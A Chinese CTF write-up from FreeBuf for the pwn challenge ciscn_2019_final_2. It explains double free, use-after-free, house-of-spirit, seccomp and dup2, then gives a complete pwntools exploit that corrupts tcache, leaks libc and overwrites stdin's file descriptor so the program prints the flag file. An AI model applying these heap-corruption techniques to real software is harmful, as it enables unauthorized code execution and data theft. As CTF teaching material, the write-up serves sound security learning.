freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ciscn_2019_final_2
yiwensanbuzhi 2023-03-27 21:33:18 145905

总结:

这道题涉及到一些知识点:1、doublefree 2、uaf 3、 _IO_2_1_stdin_fileno 4、house-of-spirit 5、sandbox

前置知识:

doublefree

doublefree,顾名思义,free两次。但是不能直接free两次(在一些libc中),有时候需要有个缓冲(也就是两次free中间需要再free一个另外的chunk),但是也有一些libc可以直接free两次,本次libc就可以。

其次,这个doublefree的漏洞是怎么形成的呢?具体流程:doublefree两次以后,就可以申请两次相同的chunk,第一次申请过后,就可以通过程序漏洞修改chunk的fd指针,从而修改bin的链表,控制想要控制的地址。结构就像这样:

image

uaf

uaf的全称是:use_after_free,一个很明显的特征:在chunk释放之后,并没有清空堆块的内容,这就提供给我们一个修改堆块内容的机会,比如上方的doublefree。

_IO_2_1_stdin_fileno

fileno是stdin里一个参数变量。stdin的参数变量有:

stdin1.png

stdin2.png

可以看到,fileno是第十五个变量,也就是stdin_addr+0x70的位置(一个数据占8byte,(15-1)*8)

那么stdin是什么呢?

首先,咱们对程序运行时,要有一个io流方面的概念:IO_FILE_plus结构是通过链表链接:IO_list_all-->stderr-->stdout-->stdin,它们在libc.so数据段中,后三个对应的文件描述符分别为:2 1 0。其实,光看名字,也可以打开猜到:stdout与输出有关,stdin与输入有关,也就是,当调用scanf之类的函数时,会去相对应的结构体寻找文件描述符。

至于详细的io流问题,还是在互联网上,这里不展开说,接下来要讲述对于本题来说重中之重的关键:fileno,aka,文件描述符。

前两行我们也提到过,文件描述符,比如stdin的描述符为0,这也是为什莫有read(0,xxx,xxx)。在百度百科中,文件描述符是这么被介绍的:“文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。每一个文件描述符会与一个打开文件相对应,同时,不同的文件描述符也会指向同一个文件。相同的文件可以被不同的进程打开也可以在同一个进程中被多次打开。系统为每一个进程维护了一个文件描述符表,该表的值都是从0开始的,所以在不同的进程中你会看到相同的文件描述符,这种情况下相同文件描述符有可能指向同一个文件,也有可能指向不同的文件。”

这乍一看,好像和文件指针的概念很像,但是还是不同的东西。具体区别是:在Linux系统中,只要打开文件,就会有一个文件描述符,每个进程在PCB中保存着一份文件描述符表。(PCB:为了描述控制进程的运行,系统中存放进程的管理和控制信息的数据结构称为进程控制块)文件描述符就是这个表的索引,每一个表项都有一个指向已打开的文件指针(通过指针就可以查看文件内容,比如flag)。并且不同的文件描述符,也可以指向同一个文件。

而文件指针是c语言的I/O句柄。它指向进程用户区中的FILE结构,也就是我们前文中提到的那个。file结构里有什么,那图里也给出了例子。

(资料来自百度百科:https://baike.baidu.com/item/文件描述符/9809582?fr=aladdin

从定义的描述可以看出,文件描述符是进程阶级的东西,而文件指针只活跃在一个进程里,这就好比三维和二维的区别,它们对比属于降维打击。

house-of-spirit

看到有houseofxxx,就是堆方面的漏洞了。

先来简化一下这个漏洞的利用过程:有一段我们不可控的内存段(也就是不可写不可读之类的),但它前后的内存都是可控的,这个时候想要控制它,就需要使得它可控(好像废话)。而我们又知道,新的chunk是可控的,那么只要让这一段去fastbin里跑一圈,复得“应届生”的身份就好了。这里需要注意的是,32bit的fastbin是16~64,64bit的是32~128,利用修改时需要注意大小。

它的前提条件:1、目标内存的前后是可控的内存区域;2、存在可将堆变量指针覆盖指向为可控区域。

例题上网找找就可以找到,或者本题。

sandbox

到了本题激动人心的一个大boss上,之前说的IO知识点,都是为了这个做准备。

首先,我们需要知道,什么是sandbox:Sandbox(沙箱)是指一种技术,在这种技术中,软件运行在操作系统受限制的环境中。由于该软件在受限制的环境中运行,即使一个闯入该软件的入侵者也不能无限制访问操作系统提供设施;获得该软件控制权的黑客造成的损失也是有限的。此外,如果攻击者要获得对操作系统的完全控制,他们就不得不攻克沙箱限制。(本段来自百度百科:https://baike.baidu.com/item/Sandbox/9280944?fr=aladdin

简单来说,就是限制系统调用,让嗨客无路可走。

沙箱种类多样,但在初步阶段,比如本题,就是c沙盒。c沙盒里有个比较典型的函数:seccomp()和prtcl()函数。就是用来限制敏感函数,比如execve函数的调用,严重一点说就是碰都不能碰。这样的话,就很大可能不能getshell了。但是平时我们解题成功的标志不是getshell,getshell只是为了获取flag,真正目的是flag。seccomp虽然限制了很可能不能getshell,但是没限制我们读写flag阿。

那么,seccomp函数的一些简单运用到底是怎么样的呢?

如果懒,并不想翻源码,就有一个工具可以查看一个可执行文件的沙盒情况:seccomp-tools。使用方法:secommp-tools dump ./file,如果需要用字符的形式展示,有:seccomp-tools dump ./file -f inspect

首先,是**prctl()**函数调用:

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

如果目前没有深入了解的想法,只需要记住option为38和22的情况,也就是(PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)):

1、option=38,此时arg2=1,则表示禁用execve,并且子进程也受用:prctl(38, 1LL, 0LL, 0LL, 0LL);

2、option=22,如果arg2=1,只允许调用read/write/exit(not exit_group)/sigreturn;如果arg2=2,则为过滤模式(也就是规定什么可以用),其中对syscall的限制通过参数3的结构体来自定义过滤规则。

prctl(22, 2LL, &v1);

其次,是**seccomp()**函数:

安装的Linux指令:apt install libseccomp-dev libseccomp2 seccomp

scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL); //也可以是allow↓

两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) ,SCMP_ACT_KILL( 0x00000000U)
seccomp 初始化,参数为 0 表示白名单模式,参数为 0x7fff0000U 则为黑名单模式,白名单杀掉所有规则外的调用,黑名单允许所有规则外调用。

这也只是初始化,那应该怎么限制?

如果需要添加规则:

int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt, ...);
第一个参数 ctx 对应上面初始化的返回值
第二个参数允许或者禁止某个调用
第三个参数代表对应的系统调用号,0-read,1-write,2-open,59-execve,60-exit,231-exit_group,322-execveat
SCMP_SYS(read),SCMP_SYS(write),SCMP_SYS(open),SCMP_SYS(execve),SCMP_SYS(exit),SCMP_SYS(exit_group),SCMP_SYS(execveat)
第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传 0 不做任何限制

例子:

seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);//即禁用 execve,不管其参数如何。
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);//在禁止 write 时,SCMP_ACT_KILL 也默认不允许所有的 syscall

白名单:

scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 0LL, 0LL); //允许 read
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 1LL, 0LL); //允许 write
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 2LL, 0LL); //允许 open
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 60LL, 0LL);  //允许 exit
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 231LL, 0LL); //允许 exit_group
seccomp_load(ctx);

黑名单:
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0LL); //禁用 execve
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0LL); //禁用 execveat
seccomp_load(ctx);

以上资料来自实验室里的一位pwn师傅。

dup2

此外,这道题还涉及到了一个函数:dup2。这个函数可以修改文件标识符。

有dup2,肯定就会有dup。

#include<unistd.h>
int dup(int fd);
int dup2(int fe,int fd2);

dup也可以修改文件标识符,那和dup2有什么区别呢?

dup函数在旧的文件描述符复制会返回一个新的文件描述符,并且这个新的文件描述符是在连续接着旧的文件描述,无法更改。

而dup2

如图所示:

一开始:

dupbefore.png

dup函数后:

dupafter.png

而dup2呢?

dup2after.png

也就是说,dup2函数允许调用者规定一个有效描述符和目标描述符的id,不一定要求连续。

ok,这些就是需要知道的前置知识,接下来开始解题。

解题过程

checksec

checksec.png

拿到题,先查看基本信息,是保护全开,看不出有什么东西,那么就放ida看一看吧。

数据搜集

放进ida,首先查看main函数里有什么:

main.png

结构清晰,看起来就是很经典的堆题。有沙盒(sandbox),还有一个初始化。秉持着不错过任何一个细节的原则,挨个查看。

init.png

函数讲解:可以看到,这个函数先是打开了flag文件(本地运行需要在题目所在文件夹自己创建一个flag文件,里面最好有内容。),得到一个fd,通过dup2函数,使得文件标识符为666的时候,也指向flag文件。剩下的就是基本的初始化,没啥好说。继续看,sandbox。

box1.png

代码看起来很复杂,但是可以忽略大部分。根据前情提要,只要出现38,1,可以确定把execve给ban了。接下来继续看:

box2.png

出现22,1,只允许调用read/write/exit(not exit_group)/sigreturn。沙盒部分就这么多,其他的都是参数,想要详细了解,还需要自己另下功夫。

接下来,看看其他函数有什么漏洞。

add.png

这个add函数,分为两种,int和shortint,也就是读入输出的长度不一样,32位和16位。顺便定义了输出,同时还会设置一个全局变量bool,这个bool在free的时候有大用处。并且不同选项申请到的chunk是不一样的,0x20和0x10的区别

delete.png

这个就是delete函数,它并没有将free掉的chunk内容清零,这不就可以愉快地uaf,以至于doublefree?可是,继续解读代码发现只要free掉一个chunk就不能继续free了,因为bool会被置零,而free的前提条件是bool=1,这也就是不能轻易doublefree修改chunk内容的原因,但是没关系,反正是先入tcache,每个选项的堆块还不一样,选一个大小的堆块doublefree,另一个充当工具块,不久愉快解决了?

ptr.png

这是指针的地址,程序运行想要查看地址指针,就直接mainbase+0x202050就ok。

show.png

这是show函数,如果跟进show_time,发现show_time=3,所以,show只能用三次,并且,这里的指针,除了在add函数那变化过,其他都不变,包括delete函数。这也就让我们有了可趁之机,可以泄露已经free掉的函数的内容。

bye.png

最后一个exit函数,有点东西。还记得前情提要吗?scanf函数,会先去找stdin的文件标识符,与此同时,flag

的文件标识符是666,如果将stdin的fileno改为666,是不是代表可以打开输出flag文件的内容了?

详细步骤:

到此为止,我们有一个思路:将stdin的fileno的内容从0,修改为666,输出flag的内容。

那我们应该怎么做到呢?doublefree?houseofspirit?

通过add函数分析知道,读入和输出地数据都有限,不可能给我们全部输出完成(没关系,一个字还是两个字也很厉害了。)先申请总共0xa0的chunk(1×0x20+4×0x10),方便以后更改chunk,不会进入fastbin,0x20~0x80属于fastbin,所以我们需要一个大于0x80的chunk,进入unsortedbin,可以泄露libc。这里就是houseofspirit。

之后,通过反复删1(7次,因为tcachebin一个大小的chunk如果free超过7次,就会进入unsortedbin),到unsortedbin,最后就可以泄露libc了(因为unsortedbin的fd是main_arena)。(此时2的tachebin=0,1还有)

因为进入到了unsortedbin,之后再申请2,也会从unsortedbin里申请1(申请机制,此时的0x20的tcachebin为空),也就可以篡改(1的)fd为fileno,好柿阿好柿。修改完成,退出函数里有scanf函数调用,因为修改了文件标识符,所以实际上scanf找到的stdin_fileno=666,也就是flag文件,并且放在了v0里输出,get!

接下来,我们一步步来手把手调试,首先的定义加减展示函数,就不用说了。

def add(choice,size):
	p.sendlineafter(b'and?\n>',b'1')
	p.sendlineafter(b'short int\n>',str(choice))
	p.sendlineafter(b'inode number:',str(size))

def dell(choice):
	p.sendlineafter(b'and?\n>',b'2')
	p.sendlineafter(b'short int\n>',str(choice))

def show(choice):
	p.sendlineafter(b'and?\n>',b'3')
	p.sendlineafter(b'short int\n>',str(choice))
	

def seeyou(content):
	p.sendlineafter(b'and?\n>',b'4')
	p.sendlineafter(b'say at last? ',content)

第一步,是泄露chunk的后几位,方便我们篡改fd,修改chunk的大小:

add(1,0x666)
dell(1)  #需要修改大小的chunk
for i in range(4):
	add(2,0x10)
dell(2)  #free最后一个chunk,doublefree的目标chunk
add(1,0x10) #使得bool=1
dell(2) #doublefree_done
show(2)

p.recvuntil(b'inode number :')
addr1=int(p.recvuntil('\n',drop = True))
print('addr1_is-->',hex(addr1))

gdb1.png

doublefree后的成果,这里只要再申请2,就可以在申请的时候改fd了。

if addr1 < 0:
   addr1 += 0x10000
add(2,addr1-0xa0) #此时最后一个chunk距离第一个chunk(0x30)有0xa0的大小

这段代码执行后,chunk1:

gdb3.png

bin上:

gdb2.png

因为bin的FIFO,所以需要先把0xe2f0申请过后,才能修改0xe250的大小,为0x90:

add(2,0)

dell(1) #放入bin,方便混淆

add(2,0x30+0x20*3+1)#这个+1是为了让计算机知道是这个chunk已分配的

add之后的bin等结构:

gdb4.png

heap的结构:

gdb5.png

成功修改!接下来就是反复删除1,得到libc基址了:

for i in range(7):
	dell(1)
	add(2,0)
dell(1) #进入unsortedbin
show(1)
p.recvuntil(b'inode number :')
addr2=int(p.recvuntil('\n',drop = True))
if addr2 < 0:
   addr2 += 0x100000000
print('addr2_is-->',hex(addr2))
addr2=addr2-96 #因为chunk1的内容就是main_arena+96

还记得前情提要中的fileno的位置吗?在第十五位,在stdin(0x8*(15-1)=0x70)的位置,这个就是stdin_fileno的地址。接下来,就是数据处理咯

libc=ELF('./libc-2.27.so')
mhook=libc.sym['__malloc_hook']
print("malloc_hook__is-->",hex(mhook))

mhooklow4b=(addr2&0xfffff000)+(mhook&0xfff)#获得后八位的地址,addr部分把后三位清零,mhook保留后三位,得到程序运行时的地址
# print("malloc_hook_low4byte_is-->",hex(mhooklow4b))

libcbaselow4b=mhooklow4b-mhook #得到libc后八位
# print("libcbase_low4byte_is-->",hex(libcbaselow4b))

iodin=libc.sym['_IO_2_1_stdin_']
iodinlow4b=libcbaselow4b+iodin #得到程序内的stdin
print('mhooklow4b_is-->',hex(mhooklow4b))
print('libcbaselow4b_is-->',hex(libcbaselow4b))
print('iodinlow4b_is-->',hex(iodinlow4b))
fileno=iodinlow4b+0x70 #fileno,文件标识符
print('fileno_is-->',hex(fileno))

得到以后,就是需要将fileno放入bin的链中。那应该怎么做?之前我们说过,此时的0x20的tachebin为0:

gdb6.png

再申请的时候,就会从unsortedbin里找,不要申请1,1留着以后修改fileno为666用,所以直接申请2就对了。

add(2,fileno&0xffff)

这个时候的bin结构:

gdb7.png

看,0x30(也就是选项1),不申请的原因就体现出来了。再次申明。tcache是FIFO,所以我们需要再申请一个选项1,才能申请到fileno的地址,进而修改:

add(1,0)

add(1,666)

执行到这后,查看stdin的结构:

gdb8.png

修改成功!接下来只要执行byebye函数就好

exp

from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'debug'

p=process('./final')
# p=remote('node4.buuoj.cn',25044)
elf=ELF('./final')


def add(choice,size):
	p.sendlineafter(b'and?\n>',b'1')
	p.sendlineafter(b'short int\n>',str(choice))
	p.sendlineafter(b'inode number:',str(size))

def dell(choice):
	p.sendlineafter(b'and?\n>',b'2')
	p.sendlineafter(b'short int\n>',str(choice))

def show(choice):
	p.sendlineafter(b'and?\n>',b'3')
	p.sendlineafter(b'short int\n>',str(choice))
	

def seeyou(content):
	p.sendlineafter(b'and?\n>',b'4')
	p.sendlineafter(b'say at last? ',content)

add(1,0x666)
dell(1)
for i in range(4):
	add(2,0x10)

dell(2)



add(1,0x10)
dell(2)

show(2)

p.recvuntil(b'inode number :')
addr1=int(p.recvuntil('\n',drop = True))
print('addr1_is-->',hex(addr1))


if addr1 < 0:
   addr1 += 0x10000
add(2,addr1-0xa0)

add(2,0)

dell(1)


add(2,0x30+0x20*3+1)

for i in range(7):
	dell(1)
	add(2,0)



dell(1)

show(1)
p.recvuntil(b'inode number :')
addr2=int(p.recvuntil('\n',drop = True))
if addr2 < 0:
   addr2 += 0x100000000
print('addr2_is-->',hex(addr2))
addr2=addr2-96

libc=ELF('./libc-2.27.so')
mhook=libc.sym['__malloc_hook']
print("malloc_hook__is-->",hex(mhook))

mhooklow4b=(addr2&0xfffff000)+(mhook&0xfff)
# print("malloc_hook_low4byte_is-->",hex(mhooklow4b))

libcbaselow4b=mhooklow4b-mhook
# print("libcbase_low4byte_is-->",hex(libcbaselow4b))

iodin=libc.sym['_IO_2_1_stdin_']
iodinlow4b=libcbaselow4b+iodin
print('mhooklow4b_is-->',hex(mhooklow4b))
print('libcbaselow4b_is-->',hex(libcbaselow4b))
print('iodinlow4b_is-->',hex(iodinlow4b))
fileno=iodinlow4b+0x70 #zi_ji_tiaoshi_suan
print('fileno_is-->',hex(fileno))
gdb.attach(p)
pause()

add(2,fileno&0xffff)



add(1,0)

add(1,666)

p.recvuntil(b'mmand?\n>')
p.sendline(b'4')

p.interactive()
# CTF # pwn # PWN入坑
本文为 yiwensanbuzhi 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
yiwensanbuzhi LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录